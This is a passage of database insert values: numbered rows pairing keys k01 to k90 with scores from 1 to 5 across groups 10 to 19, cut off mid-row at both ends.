(3283, 'k29', '2', 00001, 10), (3284, 'k30', '2', 00001, 10), (3285, 'k31', '2', 00001, 10), (3286, 'k32', '3', 00001, 10), (3287, 'k33', '3', 00001, 10), (3288, 'k34', '3', 00001, 10), (3289, 'k35', '2', 00001, 10), (3290, 'k36', '2', 00001, 10), (3291, 'k37', '2', 00001, 10), (3292, 'k38', '2', 00001, 10), (3293, 'k39', '2', 00001, 10), (3294, 'k40', '3', 00001, 10), (3295, 'k41', '2', 00001, 10), (3296, 'k42', '3', 00001, 10), (3297, 'k43', '2', 00001, 10), (3298, 'k44', '2', 00001, 10), (3299, 'k45', '3', 00001, 10), (3300, 'k46', '3', 00001, 10), (3301, 'k47', '3', 00001, 10), (3302, 'k48', '2', 00001, 10), (3303, 'k49', '2', 00001, 10), (3304, 'k50', '2', 00001, 10), (3305, 'k51', '3', 00001, 10), (3306, 'k52', '2', 00001, 10), (3307, 'k53', '2', 00001, 10), (3308, 'k54', '3', 00001, 10), (3309, 'k55', '2', 00001, 10), (3310, 'k56', '2', 00001, 10), (3311, 'k57', '2', 00001, 10), (3312, 'k58', '2', 00001, 10), (3313, 'k59', '2', 00001, 10), (3314, 'k60', '2', 00001, 10), (3315, 'k61', '2', 00001, 10), (3316, 'k62', '3', 00001, 10), (3317, 'k63', '3', 00001, 10), (3318, 'k64', '3', 00001, 10), (3319, 'k65', '3', 00001, 10), (3320, 'k66', '3', 00001, 10), (3321, 'k67', '3', 00001, 10), (3322, 'k68', '3', 00001, 10), (3323, 'k69', '3', 00001, 10), (3324, 'k70', '3', 00001, 10), (3325, 'k71', '3', 00001, 10), (3326, 'k72', '4', 00001, 10), (3327, 'k73', '3', 00001, 10), (3328, 'k74', '3', 00001, 10), (3329, 'k75', '3', 00001, 10), (3330, 'k76', '3', 00001, 10), (3331, 'k77', '4', 00001, 10), (3332, 'k78', '2', 00001, 10), (3333, 'k79', '2', 00001, 10), (3334, 'k80', '2', 00001, 10), (3335, 'k81', '2', 00001, 10), (3336, 'k82', '3', 00001, 10), (3337, 'k83', '3', 00001, 10), (3338, 'k84', '3', 00001, 10), (3339, 'k85', '3', 00001, 10), (3340, 'k86', '3', 00001, 10), (3341, 'k87', '2', 00001, 10), (3342, 'k88', '2', 00001, 10), (3343, 'k89', '3', 00001, 10), (3344, 'k90', '3', 00001, 10), (3382, 'k01', '2', 00001, 11), (3383, 'k02', '2', 00001, 11), (3384, 'k03', '3', 00001, 11), (3385, 'k04', '1', 00001, 11), (3386, 'k05', '4', 00001, 11), (3387, 'k06', '2', 00001, 11), (3388, 'k07', '1', 00001, 11), (3389, 'k08', '2', 00001, 11), (3390, 'k09', '2', 00001, 11), (3391, 'k10', '2', 00001, 11), (3392, 'k11', '2', 00001, 11), (3393, 'k12', '2', 00001, 11), (3394, 'k13', '1', 00001, 11), (3395, 'k14', '3', 00001, 11), (3396, 'k15', '2', 00001, 11), (3397, 'k16', '1', 00001, 11), (3398, 'k17', '1', 00001, 11), (3399, 'k18', '1', 00001, 11), (3400, 'k19', '2', 00001, 11), (3401, 'k20', '2', 00001, 11), (3402, 'k21', '2', 00001, 11), (3403, 'k22', '1', 00001, 11), (3404, 'k23', '3', 00001, 11), (3405, 'k24', '2', 00001, 11), (3406, 'k25', '1', 00001, 11), (3407, 'k26', '2', 00001, 11), (3408, 'k27', '3', 00001, 11), (3409, 'k28', '2', 00001, 11), (3410, 'k29', '2', 00001, 11), (3411, 'k30', '2', 00001, 11), (3412, 'k31', '2', 00001, 11), (3413, 'k32', '2', 00001, 11), (3414, 'k33', '3', 00001, 11), (3415, 'k34', '2', 00001, 11), (3416, 'k35', '2', 00001, 11), (3417, 'k36', '2', 00001, 11), (3418, 'k37', '3', 00001, 11), (3419, 'k38', '3', 00001, 11), (3420, 'k39', '3', 00001, 11), (3421, 'k40', '2', 00001, 11), (3422, 'k41', '3', 00001, 11), (3423, 'k42', '2', 00001, 11), (3424, 'k43', '4', 00001, 11), (3425, 'k44', '3', 00001, 11), (3426, 'k45', '4', 00001, 11), (3427, 'k46', '3', 00001, 11), (3428, 'k47', '2', 00001, 11), (3429, 'k48', '3', 00001, 11), (3430, 'k49', '3', 00001, 11), (3431, 'k50', '2', 00001, 11), (3432, 'k51', '2', 00001, 11), (3433, 'k52', '2', 00001, 11), (3434, 'k53', '2', 00001, 11), (3435, 'k54', '2', 00001, 11), (3436, 'k55', '2', 00001, 11), (3437, 'k56', '3', 00001, 11), (3438, 'k57', '2', 00001, 11), (3439, 'k58', '2', 00001, 11), (3440, 'k59', '3', 00001, 11), (3441, 'k60', '2', 00001, 11), (3442, 'k61', '2', 00001, 11), (3443, 'k62', '2', 00001, 11), (3444, 'k63', '2', 00001, 11), (3445, 'k64', '2', 00001, 11), (3446, 'k65', '1', 00001, 11), (3447, 'k66', '2', 00001, 11), (3448, 'k67', '2', 00001, 11), (3449, 'k68', '2', 00001, 11), (3450, 'k69', '2', 00001, 11), (3451, 'k70', '1', 00001, 11), (3452, 'k71', '1', 00001, 11), (3453, 'k72', '2', 00001, 11), (3454, 'k73', '1', 00001, 11), (3455, 'k74', '1', 00001, 11), (3456, 'k75', '1', 00001, 11), (3457, 'k76', '2', 00001, 11), (3458, 'k77', '2', 00001, 11), (3459, 'k78', '5', 00001, 11), (3460, 'k79', '2', 00001, 11), (3461, 'k80', '3', 00001, 11), (3462, 'k81', '3', 00001, 11), (3463, 'k82', '3', 00001, 11), (3464, 'k83', '3', 00001, 11), (3465, 'k84', '4', 00001, 11), (3466, 'k85', '4', 00001, 11), (3467, 'k86', '4', 00001, 11), (3468, 'k87', '2', 00001, 11), (3469, 'k88', '1', 00001, 11), (3470, 'k89', '2', 00001, 11), (3471, 'k90', '2', 00001, 11), (3509, 'k01', '2', 00001, 12), (3510, 'k02', '3', 00001, 12), (3511, 'k03', '3', 00001, 12), (3512, 'k04', '2', 00001, 12), (3513, 'k05', '4', 00001, 12), (3514, 'k06', '2', 00001, 12), (3515, 'k07', '2', 00001, 12), (3516, 'k08', '3', 00001, 12), (3517, 'k09', '2', 00001, 12), (3518, 'k10', '3', 00001, 12), (3519, 'k11', '2', 00001, 12), (3520, 'k12', '2', 00001, 12), (3521, 'k13', '2', 00001, 12), (3522, 'k14', '2', 00001, 12), (3523, 'k15', '3', 00001, 12), (3524, 'k16', '4', 00001, 12), (3525, 'k17', '2', 00001, 12), (3526, 'k18', '2', 00001, 12), (3527, 'k19', '3', 00001, 12), (3528, 'k20', '4', 00001, 12), (3529, 'k21', '5', 00001, 12), (3530, 'k22', '5', 00001, 12), (3531, 'k23', '5', 00001, 12), (3532, 'k24', '2', 00001, 12), (3533, 'k25', '2', 00001, 12), (3534, 'k26', '2', 00001, 12), (3535, 'k27', '4', 00001, 12), (3536, 'k28', '2', 00001, 12), (3537, 'k29', '2', 00001, 12), (3538, 'k30', '2', 00001, 12), (3539, 'k31', '2', 00001, 12), (3540, 'k32', '3', 00001, 12), (3541, 'k33', '4', 00001, 12), (3542, 'k34', '3', 00001, 12), (3543, 'k35', '3', 00001, 12), (3544, 'k36', '3', 00001, 12), (3545, 'k37', '3', 00001, 12), (3546, 'k38', '3', 00001, 12), (3547, 'k39', '3', 00001, 12), (3548, 'k40', '3', 00001, 12), (3549, 'k41', '2', 00001, 12), (3550, 'k42', '2', 00001, 12), (3551, 'k43', '2', 00001, 12), (3552, 'k44', '2', 00001, 12), (3553, 'k45', '3', 00001, 12), (3554, 'k46', '4', 00001, 12), (3555, 'k47', '2', 00001, 12), (3556, 'k48', '2', 00001, 12), (3557, 'k49', '2', 00001, 12), (3558, 'k50', '2', 00001, 12), (3559, 'k51', '3', 00001, 12), (3560, 'k52', '2', 00001, 12), (3561, 'k53', '2', 00001, 12), (3562, 'k54', '2', 00001, 12), (3563, 'k55', '2', 00001, 12), (3564, 'k56', '2', 00001, 12), (3565, 'k57', '3', 00001, 12), (3566, 'k58', '2', 00001, 12), (3567, 'k59', '3', 00001, 12), (3568, 'k60', '3', 00001, 12), (3569, 'k61', '3', 00001, 12), (3570, 'k62', '2', 00001, 12), (3571, 'k63', '3', 00001, 12), (3572, 'k64', '3', 00001, 12), (3573, 'k65', '3', 00001, 12), (3574, 'k66', '2', 00001, 12), (3575, 'k67', '2', 00001, 12), (3576, 'k68', '2', 00001, 12), (3577, 'k69', '2', 00001, 12), (3578, 'k70', '3', 00001, 12), (3579, 'k71', '4', 00001, 12), (3580, 'k72', '2', 00001, 12), (3581, 'k73', '4', 00001, 12), (3582, 'k74', '4', 00001, 12), (3583, 'k75', '3', 00001, 12), (3584, 'k76', '2', 00001, 12), (3585, 'k77', '2', 00001, 12), (3586, 'k78', '2', 00001, 12), (3587, 'k79', '2', 00001, 12), (3588, 'k80', '2', 00001, 12), (3589, 'k81', '5', 00001, 12), (3590, 'k82', '4', 00001, 12), (3591, 'k83', '2', 00001, 12), (3592, 'k84', '3', 00001, 12), (3593, 'k85', '3', 00001, 12), (3594, 'k86', '3', 00001, 12), (3595, 'k87', '2', 00001, 12), (3596, 'k88', '3', 00001, 12), (3597, 'k89', '3', 00001, 12), (3598, 'k90', '3', 00001, 12), (3636, 'k01', '3', 00001, 13), (3637, 'k02', '3', 00001, 13), (3638, 'k03', '2', 00001, 13), (3639, 'k04', '3', 00001, 13), (3640, 'k05', '4', 00001, 13), (3641, 'k06', '3', 00001, 13), (3642, 'k07', '3', 00001, 13), (3643, 'k08', '2', 00001, 13), (3644, 'k09', '3', 00001, 13), (3645, 'k10', '3', 00001, 13), (3646, 'k11', '2', 00001, 13), (3647, 'k12', '2', 00001, 13), (3648, 'k13', '2', 00001, 13), (3649, 'k14', '2', 00001, 13), (3650, 'k15', '3', 00001, 13), (3651, 'k16', '3', 00001, 13), (3652, 'k17', '3', 00001, 13), (3653, 'k18', '3', 00001, 13), (3654, 'k19', '2', 00001, 13), (3655, 'k20', '3', 00001, 13), (3656, 'k21', '3', 00001, 13), (3657, 'k22', '4', 00001, 13), (3658, 'k23', '4', 00001, 13), (3659, 'k24', '3', 00001, 13), (3660, 'k25', '3', 00001, 13), (3661, 'k26', '3', 00001, 13), (3662, 'k27', '3', 00001, 13), (3663, 'k28', '3', 00001, 13), (3664, 'k29', '3', 00001, 13), (3665, 'k30', '4', 00001, 13), (3666, 'k31', '4', 00001, 13), (3667, 'k32', '3', 00001, 13), (3668, 'k33', '3', 00001, 13), (3669, 'k34', '3', 00001, 13), (3670, 'k35', '2', 00001, 13), (3671, 'k36', '3', 00001, 13), (3672, 'k37', '4', 00001, 13), (3673, 'k38', '4', 00001, 13), (3674, 'k39', '4', 00001, 13), (3675, 'k40', '3', 00001, 13), (3676, 'k41', '3', 00001, 13), (3677, 'k42', '3', 00001, 13), (3678, 'k43', '3', 00001, 13), (3679, 'k44', '2', 00001, 13), (3680, 'k45', '3', 00001, 13), (3681, 'k46', '3', 00001, 13), (3682, 'k47', '3', 00001, 13), (3683, 'k48', '3', 00001, 13), (3684, 'k49', '4', 00001, 13), (3685, 'k50', '2', 00001, 13), (3686, 'k51', '3', 00001, 13), (3687, 'k52', '3', 00001, 13), (3688, 'k53', '2', 00001, 13), (3689, 'k54', '3', 00001, 13), (3690, 'k55', '3', 00001, 13), (3691, 'k56', '2', 00001, 13), (3692, 'k57', '2', 00001, 13), (3693, 'k58', '2', 00001, 13), (3694, 'k59', '2', 00001, 13), (3695, 'k60', '3', 00001, 13), (3696, 'k61', '3', 00001, 13), (3697, 'k62', '3', 00001, 13), (3698, 'k63', '3', 00001, 13), (3699, 'k64', '3', 00001, 13), (3700, 'k65', '2', 00001, 13), (3701, 'k66', '2', 00001, 13), (3702, 'k67', '2', 00001, 13), (3703, 'k68', '2', 00001, 13), (3704, 'k69', '3', 00001, 13), (3705, 'k70', '3', 00001, 13), (3706, 'k71', '3', 00001, 13), (3707, 'k72', '3', 00001, 13), (3708, 'k73', '3', 00001, 13), (3709, 'k74', '2', 00001, 13), (3710, 'k75', '3', 00001, 13), (3711, 'k76', '3', 00001, 13), (3712, 'k77', '3', 00001, 13), (3713, 'k78', '3', 00001, 13), (3714, 'k79', '2', 00001, 13), (3715, 'k80', '3', 00001, 13), (3716, 'k81', '4', 00001, 13), (3717, 'k82', '3', 00001, 13), (3718, 'k83', '3', 00001, 13), (3719, 'k84', '3', 00001, 13), (3720, 'k85', '2', 00001, 13), (3721, 'k86', '2', 00001, 13), (3722, 'k87', '2', 00001, 13), (3723, 'k88', '2', 00001, 13), (3724, 'k89', '2', 00001, 13), (3725, 'k90', '2', 00001, 13), (3763, 'k01', '3', 00001, 14), (3764, 'k02', '5', 00001, 14), (3765, 'k03', '5', 00001, 14), (3766, 'k04', '3', 00001, 14), (3767, 'k05', '2', 00001, 14), (3768, 'k06', '2', 00001, 14), (3769, 'k07', '3', 00001, 14), (3770, 'k08', '3', 00001, 14), (3771, 'k09', '3', 00001, 14), (3772, 'k10', '4', 00001, 14), (3773, 'k11', '4', 00001, 14), (3774, 'k12', '4', 00001, 14), (3775, 'k13', '4', 00001, 14), (3776, 'k14', '4', 00001, 14), (3777, 'k15', '5', 00001, 14), (3778, 'k16', '3', 00001, 14), (3779, 'k17', '4', 00001, 14), (3780, 'k18', '4', 00001, 14), (3781, 'k19', '3', 00001, 14), (3782, 'k20', '5', 00001, 14), (3783, 'k21', '4', 00001, 14), (3784, 'k22', '4', 00001, 14), (3785, 'k23', '3', 00001, 14), (3786, 'k24', '4', 00001, 14), (3787, 'k25', '5', 00001, 14), (3788, 'k26', '5', 00001, 14), (3789, 'k27', '5', 00001, 14), (3790, 'k28', '3', 00001, 14), (3791, 'k29', '4', 00001, 14), (3792, 'k30', '3', 00001, 14), (3793, 'k31', '3', 00001, 14), (3794, 'k32', '3', 00001, 14), (3795, 'k33', '3', 00001, 14), (3796, 'k34', '4', 00001, 14), (3797, 'k35', '3', 00001, 14), (3798, 'k36', '3', 00001, 14), (3799, 'k37', '4', 00001, 14), (3800, 'k38', '3', 00001, 14), (3801, 'k39', '4', 00001, 14), (3802, 'k40', '4', 00001, 14), (3803, 'k41', '4', 00001, 14), (3804, 'k42', '4', 00001, 14), (3805, 'k43', '3', 00001, 14), (3806, 'k44', '3', 00001, 14), (3807, 'k45', '3', 00001, 14), (3808, 'k46', '3', 00001, 14), (3809, 'k47', '3', 00001, 14), (3810, 'k48', '3', 00001, 14), (3811, 'k49', '3', 00001, 14), (3812, 'k50', '4', 00001, 14), (3813, 'k51', '3', 00001, 14), (3814, 'k52', '4', 00001, 14), (3815, 'k53', '4', 00001, 14), (3816, 'k54', '4', 00001, 14), (3817, 'k55', '5', 00001, 14), (3818, 'k56', '3', 00001, 14), (3819, 'k57', '4', 00001, 14), (3820, 'k58', '3', 00001, 14), (3821, 'k59', '4', 00001, 14), (3822, 'k60', '3', 00001, 14), (3823, 'k61', '3', 00001, 14), (3824, 'k62', '3', 00001, 14), (3825, 'k63', '5', 00001, 14), (3826, 'k64', '4', 00001, 14), (3827, 'k65', '3', 00001, 14), (3828, 'k66', '4', 00001, 14), (3829, 'k67', '3', 00001, 14), (3830, 'k68', '3', 00001, 14), (3831, 'k69', '3', 00001, 14), (3832, 'k70', '3', 00001, 14), (3833, 'k71', '4', 00001, 14), (3834, 'k72', '3', 00001, 14), (3835, 'k73', '4', 00001, 14), (3836, 'k74', '4', 00001, 14), (3837, 'k75', '4', 00001, 14), (3838, 'k76', '4', 00001, 14), (3839, 'k77', '4', 00001, 14), (3840, 'k78', '3', 00001, 14), (3841, 'k79', '4', 00001, 14), (3842, 'k80', '4', 00001, 14), (3843, 'k81', '3', 00001, 14), (3844, 'k82', '3', 00001, 14), (3845, 'k83', '3', 00001, 14), (3846, 'k84', '4', 00001, 14), (3847, 'k85', '4', 00001, 14), (3848, 'k86', '4', 00001, 14), (3849, 'k87', '4', 00001, 14), (3850, 'k88', '4', 00001, 14), (3851, 'k89', '3', 00001, 14), (3852, 'k90', '3', 00001, 14), (3890, 'k01', '3', 00001, 15), (3891, 'k02', '3', 00001, 15), (3892, 'k03', '3', 00001, 15), (3893, 'k04', '3', 00001, 15), (3894, 'k05', '3', 00001, 15), (3895, 'k06', '3', 00001, 15), (3896, 'k07', '3', 00001, 15), (3897, 'k08', '2', 00001, 15), (3898, 'k09', '3', 00001, 15), (3899, 'k10', '3', 00001, 15), (3900, 'k11', '3', 00001, 15), (3901, 'k12', '2', 00001, 15), (3902, 'k13', '2', 00001, 15), (3903, 'k14', '2', 00001, 15), (3904, 'k15', '2', 00001, 15), (3905, 'k16', '3', 00001, 15), (3906, 'k17', '2', 00001, 15), (3907, 'k18', '3', 00001, 15), (3908, 'k19', '2', 00001, 15), (3909, 'k20', '3', 00001, 15), (3910, 'k21', '3', 00001, 15), (3911, 'k22', '3', 00001, 15), (3912, 'k23', '3', 00001, 15), (3913, 'k24', '3', 00001, 15), (3914, 'k25', '2', 00001, 15), (3915, 'k26', '3', 00001, 15), (3916, 'k27', '3', 00001, 15), (3917, 'k28', '2', 00001, 15), (3918, 'k29', '3', 00001, 15), (3919, 'k30', '2', 00001, 15), (3920, 'k31', '2', 00001, 15), (3921, 'k32', '3', 00001, 15), (3922, 'k33', '3', 00001, 15), (3923, 'k34', '3', 00001, 15), (3924, 'k35', '3', 00001, 15), (3925, 'k36', '3', 00001, 15), (3926, 'k37', '3', 00001, 15), (3927, 'k38', '2', 00001, 15), (3928, 'k39', '3', 00001, 15), (3929, 'k40', '3', 00001, 15), (3930, 'k41', '3', 00001, 15), (3931, 'k42', '3', 00001, 15), (3932, 'k43', '3', 00001, 15), (3933, 'k44', '3', 00001, 15), (3934, 'k45', '3', 00001, 15), (3935, 'k46', '3', 00001, 15), (3936, 'k47', '2', 00001, 15), (3937, 'k48', '3', 00001, 15), (3938, 'k49', '2', 00001, 15), (3939, 'k50', '3', 00001, 15), (3940, 'k51', '3', 00001, 15), (3941, 'k52', '3', 00001, 15), (3942, 'k53', '3', 00001, 15), (3943, 'k54', '3', 00001, 15), (3944, 'k55', '3', 00001, 15), (3945, 'k56', '3', 00001, 15), (3946, 'k57', '3', 00001, 15), (3947, 'k58', '3', 00001, 15), (3948, 'k59', '3', 00001, 15), (3949, 'k60', '2', 00001, 15), (3950, 'k61', '2', 00001, 15), (3951, 'k62', '3', 00001, 15), (3952, 'k63', '3', 00001, 15), (3953, 'k64', '2', 00001, 15), (3954, 'k65', '2', 00001, 15), (3955, 'k66', '2', 00001, 15), (3956, 'k67', '3', 00001, 15), (3957, 'k68', '2', 00001, 15), (3958, 'k69', '3', 00001, 15), (3959, 'k70', '3', 00001, 15), (3960, 'k71', '3', 00001, 15), (3961, 'k72', '3', 00001, 15), (3962, 'k73', '3', 00001, 15), (3963, 'k74', '3', 00001, 15), (3964, 'k75', '3', 00001, 15), (3965, 'k76', '3', 00001, 15), (3966, 'k77', '3', 00001, 15), (3967, 'k78', '3', 00001, 15), (3968, 'k79', '3', 00001, 15), (3969, 'k80', '3', 00001, 15), (3970, 'k81', '3', 00001, 15), (3971, 'k82', '3', 00001, 15), (3972, 'k83', '3', 00001, 15), (3973, 'k84', '3', 00001, 15), (3974, 'k85', '3', 00001, 15), (3975, 'k86', '3', 00001, 15), (3976, 'k87', '3', 00001, 15), (3977, 'k88', '3', 00001, 15), (3978, 'k89', '3', 00001, 15), (3979, 'k90', '3', 00001, 15), (4017, 'k01', '3', 00001, 16), (4018, 'k02', '3', 00001, 16), (4019, 'k03', '3', 00001, 16), (4020, 'k04', '3', 00001, 16), (4021, 'k05', '3', 00001, 16), (4022, 'k06', '3', 00001, 16), (4023, 'k07', '3', 00001, 16), (4024, 'k08', '2', 00001, 16), (4025, 'k09', '3', 00001, 16), (4026, 'k10', '3', 00001, 16), (4027, 'k11', '3', 00001, 16), (4028, 'k12', '2', 00001, 16), (4029, 'k13', '2', 00001, 16), (4030, 'k14', '2', 00001, 16), (4031, 'k15', '2', 00001, 16), (4032, 'k16', '3', 00001, 16), (4033, 'k17', '2', 00001, 16), (4034, 'k18', '3', 00001, 16), (4035, 'k19', '2', 00001, 16), (4036, 'k20', '3', 00001, 16), (4037, 'k21', '3', 00001, 16), (4038, 'k22', '3', 00001, 16), (4039, 'k23', '3', 00001, 16), (4040, 'k24', '3', 00001, 16), (4041, 'k25', '2', 00001, 16), (4042, 'k26', '3', 00001, 16), (4043, 'k27', '3', 00001, 16), (4044, 'k28', '2', 00001, 16), (4045, 'k29', '3', 00001, 16), (4046, 'k30', '2', 00001, 16), (4047, 'k31', '2', 00001, 16), (4048, 'k32', '3', 00001, 16), (4049, 'k33', '3', 00001, 16), (4050, 'k34', '3', 00001, 16), (4051, 'k35', '3', 00001, 16), (4052, 'k36', '3', 00001, 16), (4053, 'k37', '3', 00001, 16), (4054, 'k38', '2', 00001, 16), (4055, 'k39', '3', 00001, 16), (4056, 'k40', '3', 00001, 16), (4057, 'k41', '3', 00001, 16), (4058, 'k42', '3', 00001, 16), (4059, 'k43', '3', 00001, 16), (4060, 'k44', '3', 00001, 16), (4061, 'k45', '3', 00001, 16), (4062, 'k46', '3', 00001, 16), (4063, 'k47', '2', 00001, 16), (4064, 'k48', '3', 00001, 16), (4065, 'k49', '2', 00001, 16), (4066, 'k50', '3', 00001, 16), (4067, 'k51', '3', 00001, 16), (4068, 'k52', '3', 00001, 16), (4069, 'k53', '3', 00001, 16), (4070, 'k54', '3', 00001, 16), (4071, 'k55', '3', 00001, 16), (4072, 'k56', '3', 00001, 16), (4073, 'k57', '3', 00001, 16), (4074, 'k58', '3', 00001, 16), (4075, 'k59', '3', 00001, 16), (4076, 'k60', '2', 00001, 16), (4077, 'k61', '2', 00001, 16), (4078, 'k62', '3', 00001, 16), (4079, 'k63', '3', 00001, 16), (4080, 'k64', '1', 00001, 16), (4081, 'k65', '1', 00001, 16), (4082, 'k66', '1', 00001, 16), (4083, 'k67', '3', 00001, 16), (4084, 'k68', '2', 00001, 16), (4085, 'k69', '3', 00001, 16), (4086, 'k70', '3', 00001, 16), (4087, 'k71', '3', 00001, 16), (4088, 'k72', '3', 00001, 16), (4089, 'k73', '3', 00001, 16), (4090, 'k74', '3', 00001, 16), (4091, 'k75', '3', 00001, 16), (4092, 'k76', '3', 00001, 16), (4093, 'k77', '3', 00001, 16), (4094, 'k78', '3', 00001, 16), (4095, 'k79', '3', 00001, 16), (4096, 'k80', '3', 00001, 16), (4097, 'k81', '3', 00001, 16), (4098, 'k82', '3', 00001, 16), (4099, 'k83', '3', 00001, 16), (4100, 'k84', '3', 00001, 16), (4101, 'k85', '3', 00001, 16), (4102, 'k86', '3', 00001, 16), (4103, 'k87', '3', 00001, 16), (4104, 'k88', '3', 00001, 16), (4105, 'k89', '3', 00001, 16), (4106, 'k90', '3', 00001, 16), (4144, 'k01', '4', 00001, 17), (4145, 'k02', '4', 00001, 17), (4146, 'k03', '4', 00001, 17), (4147, 'k04', '4', 00001, 17), (4148, 'k05', '5', 00001, 17), (4149, 'k06', '5', 00001, 17), (4150, 'k07', '5', 00001, 17), (4151, 'k08', '3', 00001, 17), (4152, 'k09', '5', 00001, 17), (4153, 'k10', '4', 00001, 17), (4154, 'k11', '3', 00001, 17), (4155, 'k12', '3', 00001, 17), (4156, 'k13', '3', 00001, 17), (4157, 'k14', '4', 00001, 17), (4158, 'k15', '4', 00001, 17), (4159, 'k16', '5', 00001, 17), (4160, 'k17', '4', 00001, 17), (4161, 'k18', '4', 00001, 17), (4162, 'k19', '2', 00001, 17), (4163, 'k20', '3', 00001, 17), (4164, 'k21', '4', 00001, 17), (4165, 'k22', '4', 00001, 17), (4166, 'k23', '4', 00001, 17), (4167, 'k24', '5', 00001, 17), (4168, 'k25', '4', 00001, 17), (4169, 'k26', '4', 00001, 17), (4170, 'k27', '4', 00001, 17), (4171, 'k28', '3', 00001, 17), (4172, 'k29', '4', 00001, 17), (4173, 'k30', '3', 00001, 17), (4174, 'k31', '3', 00001, 17), (4175, 'k32', '5', 00001, 17), (4176, 'k33', '5', 00001, 17), (4177, 'k34', '4', 00001, 17), (4178, 'k35', '4', 00001, 17), (4179, 'k36', '5', 00001, 17), (4180, 'k37', '5', 00001, 17), (4181, 'k38', '4', 00001, 17), (4182, 'k39', '4', 00001, 17), (4183, 'k40', '4', 00001, 17), (4184, 'k41', '5', 00001, 17), (4185, 'k42', '4', 00001, 17), (4186, 'k43', '4', 00001, 17), (4187, 'k44', '5', 00001, 17), (4188, 'k45', '5', 00001, 17), (4189, 'k46', '4', 00001, 17), (4190, 'k47', '5', 00001, 17), (4191, 'k48', '5', 00001, 17), (4192, 'k49', '5', 00001, 17), (4193, 'k50', '4', 00001, 17), (4194, 'k51', '5', 00001, 17), (4195, 'k52', '4', 00001, 17), (4196, 'k53', '4', 00001, 17), (4197, 'k54', '5', 00001, 17), (4198, 'k55', '5', 00001, 17), (4199, 'k56', '4', 00001, 17), (4200, 'k57', '4', 00001, 17), (4201, 'k58', '4', 00001, 17), (4202, 'k59', '4', 00001, 17), (4203, 'k60', '3', 00001, 17), (4204, 'k61', '4', 00001, 17), (4205, 'k62', '5', 00001, 17), (4206, 'k63', '4', 00001, 17), (4207, 'k64', '4', 00001, 17), (4208, 'k65', '3', 00001, 17), (4209, 'k66', '5', 00001, 17), (4210, 'k67', '3', 00001, 17), (4211, 'k68', '3', 00001, 17), (4212, 'k69', '4', 00001, 17), (4213, 'k70', '4', 00001, 17), (4214, 'k71', '3', 00001, 17), (4215, 'k72', '5', 00001, 17), (4216, 'k73', '4', 00001, 17), (4217, 'k74', '5', 00001, 17), (4218, 'k75', '4', 00001, 17), (4219, 'k76', '4', 00001, 17), (4220, 'k77', '4', 00001, 17), (4221, 'k78', '4', 00001, 17), (4222, 'k79', '4', 00001, 17), (4223, 'k80', '5', 00001, 17), (4224, 'k81', '5', 00001, 17), (4225, 'k82', '4', 00001, 17), (4226, 'k83', '5', 00001, 17), (4227, 'k84', '5', 00001, 17), (4228, 'k85', '4', 00001, 17), (4229, 'k86', '4', 00001, 17), (4230, 'k87', '3', 00001, 17), (4231, 'k88', '3', 00001, 17), (4232, 'k89', '4', 00001, 17), (4233, 'k90', '5', 00001, 17), (4271, 'k01', '4', 00001, 18), (4272, 'k02', '4', 00001, 18), (4273, 'k03', '4', 00001, 18), (4274, 'k04', '4', 00001, 18), (4275, 'k05', '5', 00001, 18), (4276, 'k06', '5', 00001, 18), (4277, 'k07', '5', 00001, 18), (4278, 'k08', '3', 00001, 18), (4279, 'k09', '5', 00001, 18), (4280, 'k10', '4', 00001, 18), (4281, 'k11', '3', 00001, 18), (4282, 'k12', '3', 00001, 18), (4283, 'k13', '3', 00001, 18), (4284, 'k14', '4', 00001, 18), (4285, 'k15', '4', 00001, 18), (4286, 'k16', '5', 00001, 18), (4287, 'k17', '4', 00001, 18), (4288, 'k18', '4', 00001, 18), (4289, 'k19', '2', 00001, 18), (4290, 'k20', '3', 00001, 18), (4291, 'k21', '4', 00001, 18), (4292, 'k22', '4', 00001, 18), (4293, 'k23', '4', 00001, 18), (4294, 'k24', '5', 00001, 18), (4295, 'k25', '4', 00001, 18), (4296, 'k26', '4', 00001, 18), (4297, 'k27', '4', 00001, 18), (4298, 'k28', '3', 00001, 18), (4299, 'k29', '4', 00001, 18), (4300, 'k30', '3', 00001, 18), (4301, 'k31', '3', 00001, 18), (4302, 'k32', '5', 00001, 18), (4303, 'k33', '5', 00001, 18), (4304, 'k34', '4', 00001, 18), (4305, 'k35', '4', 00001, 18), (4306, 'k36', '5', 00001, 18), (4307, 'k37', '5', 00001, 18), (4308, 'k38', '4', 00001, 18), (4309, 'k39', '4', 00001, 18), (4310, 'k40', '5', 00001, 18), (4311, 'k41', '5', 00001, 18), (4312, 'k42', '5', 00001, 18), (4313, 'k43', '4', 00001, 18), (4314, 'k44', '5', 00001, 18), (4315, 'k45', '5', 00001, 18), (4316, 'k46', '5', 00001, 18), (4317, 'k47', '5', 00001, 18), (4318, 'k48', '5', 00001, 18), (4319, 'k49', '5', 00001, 18), (4320, 'k50', '4', 00001, 18), (4321, 'k51', '5', 00001, 18), (4322, 'k52', '4', 00001, 18), (4323, 'k53', '4', 00001, 18), (4324, 'k54', '5', 00001, 18), (4325, 'k55', '4', 00001, 18), (4326, 'k56', '4', 00001, 18), (4327, 'k57', '4', 00001, 18), (4328, 'k58', '4', 00001, 18), (4329, 'k59', '4', 00001, 18), (4330, 'k60', '3', 00001, 18), (4331, 'k61', '3', 00001, 18), (4332, 'k62', '4', 00001, 18), (4333, 'k63', '4', 00001, 18), (4334, 'k64', '4', 00001, 18), (4335, 'k65', '3', 00001, 18), (4336, 'k66', '5', 00001, 18), (4337, 'k67', '3', 00001, 18), (4338, 'k68', '3', 00001, 18), (4339, 'k69', '4', 00001, 18), (4340, 'k70', '4', 00001, 18), (4341, 'k71', '3', 00001, 18), (4342, 'k72', '5', 00001, 18), (4343, 'k73', '4', 00001, 18), (4344, 'k74', '4', 00001, 18), (4345, 'k75', '4', 00001, 18), (4346, 'k76', '4', 00001, 18), (4347, 'k77', '4', 00001, 18), (4348, 'k78', '4', 00001, 18), (4349, 'k79', '4', 00001, 18), (4350, 'k80', '5', 00001, 18), (4351, 'k81', '5', 00001, 18), (4352, 'k82', '5', 00001, 18), (4353, 'k83', '5', 00001, 18), (4354, 'k84', '5', 00001, 18), (4355, 'k85', '4', 00001, 18), (4356, 'k86', '4', 00001, 18), (4357, 'k87', '3', 00001, 18), (4358, 'k88', '3', 00001, 18), (4359, 'k89', '4', 00001, 18), (4360, 'k90', '5', 00001, 18), (4398, 'k01', '4', 00001, 19), (4399, 'k02', '5', 00001, 19), (4400, 'k03', '4', 00001, 19), (4401, 'k04', '5', 00001, 19), (4402, 'k05', '5', 00001, 19), (4403, 'k06', '5', 00001, 19), (4404, 'k07', '5', 00001, 19), (4405, 